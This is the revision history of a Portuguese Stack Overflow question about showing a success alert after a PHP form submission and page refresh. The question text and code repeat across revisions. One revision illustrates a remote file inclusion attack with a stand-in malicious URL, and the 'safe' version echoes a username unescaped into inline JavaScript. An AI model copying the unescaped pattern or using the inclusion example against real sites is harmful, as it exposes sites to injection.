Skip to main content
Tweeted twitter.com/StackOverflowPT/status/682853085459398656
adicionou 1304 caracteres ao conteúdo
Fonte Link

Fazer de um modo seguro:

// Define uma lista com os array que poderão ser chamados na URL
    $allowed = array($nomeUsuario, 'perfil-updated', 'perfil-updated-error');

 // Verifica se a variável $_GET['action'] existe E se ela faz parte da lista de arquivos permitidos
    if (isset($_GET['action']) AND (array_search($_GET['action'], $allowed) !== false))
    {
        $action = $_GET['action'];
        if($action=='perfil-updated')
        {
            echo '<div class="alert alert-success">
            <button type="button" class="close" data-dismiss="alert">&times;</button>
            <strong>Sucesso!</strong> Perfil atualizado.
            </div>';
        }
        if($action=='perfil-updated-error')
        {
            echo '<div class="alert alert-danger">
            <button type="button" class="close" data-dismiss="alert">&times;</button>
            <strong>Erro ao atualizar!</strong> Não foi possível atualizar o perfil.
            </div>';
        }
    }
    else
    {
// Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
        echo '<script language= "JavaScript">
        location.href="?p=profile&action='.$nomeUsuario.'";
        </script>';
    }

Fazer de um modo seguro:

// Define uma lista com os array que poderão ser chamados na URL
    $allowed = array($nomeUsuario, 'perfil-updated', 'perfil-updated-error');

 // Verifica se a variável $_GET['action'] existe E se ela faz parte da lista de arquivos permitidos
    if (isset($_GET['action']) AND (array_search($_GET['action'], $allowed) !== false))
    {
        $action = $_GET['action'];
        if($action=='perfil-updated')
        {
            echo '<div class="alert alert-success">
            <button type="button" class="close" data-dismiss="alert">&times;</button>
            <strong>Sucesso!</strong> Perfil atualizado.
            </div>';
        }
        if($action=='perfil-updated-error')
        {
            echo '<div class="alert alert-danger">
            <button type="button" class="close" data-dismiss="alert">&times;</button>
            <strong>Erro ao atualizar!</strong> Não foi possível atualizar o perfil.
            </div>';
        }
    }
    else
    {
// Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
        echo '<script language= "JavaScript">
        location.href="?p=profile&action='.$nomeUsuario.'";
        </script>';
    }
adicionou 708 caracteres ao conteúdo
Fonte Link

Olá, Como faço para quando enviar um formulario de contato por exemplo, dar um refresh na página e mostrar a mensagem de envio?

Code: Javascript:

function showAlert(type, message)
{
    if (message !== '')
    {
        if (type === '')
        {
            type = 'success';
            type = 'danger';
            type = 'info';
            type = 'warning';
        }
        $('#alert').removeClass();
        $('#alert').addClass('alert alert-' + type).html(message).slideDown();
        setTimeout("closeAlert()", 15000);
}

$(function ()
{
    $('#alert').click(function ()
    {
        closeAlert();
    });
});

function closeAlert()
{
    $('#alert').slideUp();
    $('#alert').removeClass();
}

HTML:

<div id='alert'></div>

PHP:

echo "<script>
window.onload = function ()
{
showAlert('success', 'Perfil atualizado com sucesso.');
};
</script>";

Exibindo a mensagem de outra forma, só que me parece haver falhas de segurança nisso se não der um jeito..
messages.php

<?php

if (isset($_GET['action']))
{
    $action = $_GET['action'];

    if($action=='registered')
    {
        echo '<div class="alert alert-success">
        <button type="button" class="close" data-dismiss="alert">&times;</button>
        <strong>Sucesso!</strong> avaliação cadastrada obrigado pela colaboração.
        </div>';
    }
}
?>

Ai eu incluo as mensagem onde eu quiser:

include("/system/messages.php");

e chamo via _GET:

echo '<script language= "JavaScript">
location.href="?p=cadastro&action=registered";
</script>';

Com isso o invasor pode, por exemplo, colocar um caminho de um script externo no lugar da variável: http://www.meusite.com.br/?p=http://sitedumal.net/deleta-banco.php O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… O resto você já pode imaginar.

Olá, Como faço para quando enviar um formulario de contato por exemplo, dar um refresh na página e mostrar a mensagem de envio?

Code: Javascript:

function showAlert(type, message)
{
    if (message !== '')
    {
        if (type === '')
        {
            type = 'success';
            type = 'danger';
            type = 'info';
            type = 'warning';
        }
        $('#alert').removeClass();
        $('#alert').addClass('alert alert-' + type).html(message).slideDown();
        setTimeout("closeAlert()", 15000);
}

$(function ()
{
    $('#alert').click(function ()
    {
        closeAlert();
    });
});

function closeAlert()
{
    $('#alert').slideUp();
    $('#alert').removeClass();
}

HTML:

<div id='alert'></div>

PHP:

echo "<script>
window.onload = function ()
{
showAlert('success', 'Perfil atualizado com sucesso.');
};
</script>";

Olá, Como faço para quando enviar um formulario de contato por exemplo, dar um refresh na página e mostrar a mensagem de envio?

Code: Javascript:

function showAlert(type, message)
{
    if (message !== '')
    {
        if (type === '')
        {
            type = 'success';
            type = 'danger';
            type = 'info';
            type = 'warning';
        }
        $('#alert').removeClass();
        $('#alert').addClass('alert alert-' + type).html(message).slideDown();
        setTimeout("closeAlert()", 15000);
}

$(function ()
{
    $('#alert').click(function ()
    {
        closeAlert();
    });
});

function closeAlert()
{
    $('#alert').slideUp();
    $('#alert').removeClass();
}

HTML:

<div id='alert'></div>

PHP:

echo "<script>
window.onload = function ()
{
showAlert('success', 'Perfil atualizado com sucesso.');
};
</script>";

Exibindo a mensagem de outra forma, só que me parece haver falhas de segurança nisso se não der um jeito..
messages.php

<?php

if (isset($_GET['action']))
{
    $action = $_GET['action'];

    if($action=='registered')
    {
        echo '<div class="alert alert-success">
        <button type="button" class="close" data-dismiss="alert">&times;</button>
        <strong>Sucesso!</strong> avaliação cadastrada obrigado pela colaboração.
        </div>';
    }
}
?>

Ai eu incluo as mensagem onde eu quiser:

include("/system/messages.php");

e chamo via _GET:

echo '<script language= "JavaScript">
location.href="?p=cadastro&action=registered";
</script>';

Com isso o invasor pode, por exemplo, colocar um caminho de um script externo no lugar da variável: http://www.meusite.com.br/?p=http://sitedumal.net/deleta-banco.php O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… O resto você já pode imaginar.

removeu 140 caracteres do conteúdo
Fonte Link

Olá,

Major faça pra mim nesse code abaixo com que quando executar o php atualize a página Como faço para não ter aquele problema de o usuario apertar F5 e reenviar oquando enviar um formulario e em seguida apareça a mensagemde contato por exemplo, é basicamente isso enviou>atualizou a página>apareceudar um refresh na página e mostrar a mensagem. de envio?

Code: Javascript:

function showAlert(type, message)
{
    if (message !== '')
    {
        if (type === '')
        {
            type = 'success';
            type = 'danger';
            type = 'info';
            type = 'warning';
        }
        $('#alert').removeClass();
        $('#alert').addClass('alert alert-' + type).html(message).slideDown();
        setTimeout("closeAlert()", 15000);
}

$(function ()
{
    $('#alert').click(function ()
    {
        closeAlert();
    });
});

function closeAlert()
{
    $('#alert').slideUp();
    $('#alert').removeClass();
}

HTML:

<div id='alert'></div>

PHP:

echo "<script>
window.onload = function ()
{
showAlert('success', 'Perfil atualizado com sucesso.');
};
</script>";

Olá,

Major faça pra mim nesse code abaixo com que quando executar o php atualize a página para não ter aquele problema de o usuario apertar F5 e reenviar o formulario e em seguida apareça a mensagem, é basicamente isso enviou>atualizou a página>apareceu a mensagem.

Code: Javascript:

function showAlert(type, message)
{
    if (message !== '')
    {
        if (type === '')
        {
            type = 'success';
            type = 'danger';
            type = 'info';
            type = 'warning';
        }
        $('#alert').removeClass();
        $('#alert').addClass('alert alert-' + type).html(message).slideDown();
        setTimeout("closeAlert()", 15000);
}

$(function ()
{
    $('#alert').click(function ()
    {
        closeAlert();
    });
});

function closeAlert()
{
    $('#alert').slideUp();
    $('#alert').removeClass();
}

HTML:

<div id='alert'></div>

PHP:

echo "<script>
window.onload = function ()
{
showAlert('success', 'Perfil atualizado com sucesso.');
};
</script>";

Olá, Como faço para quando enviar um formulario de contato por exemplo, dar um refresh na página e mostrar a mensagem de envio?

Code: Javascript:

function showAlert(type, message)
{
    if (message !== '')
    {
        if (type === '')
        {
            type = 'success';
            type = 'danger';
            type = 'info';
            type = 'warning';
        }
        $('#alert').removeClass();
        $('#alert').addClass('alert alert-' + type).html(message).slideDown();
        setTimeout("closeAlert()", 15000);
}

$(function ()
{
    $('#alert').click(function ()
    {
        closeAlert();
    });
});

function closeAlert()
{
    $('#alert').slideUp();
    $('#alert').removeClass();
}

HTML:

<div id='alert'></div>

PHP:

echo "<script>
window.onload = function ()
{
showAlert('success', 'Perfil atualizado com sucesso.');
};
</script>";
Fonte Link
Carregando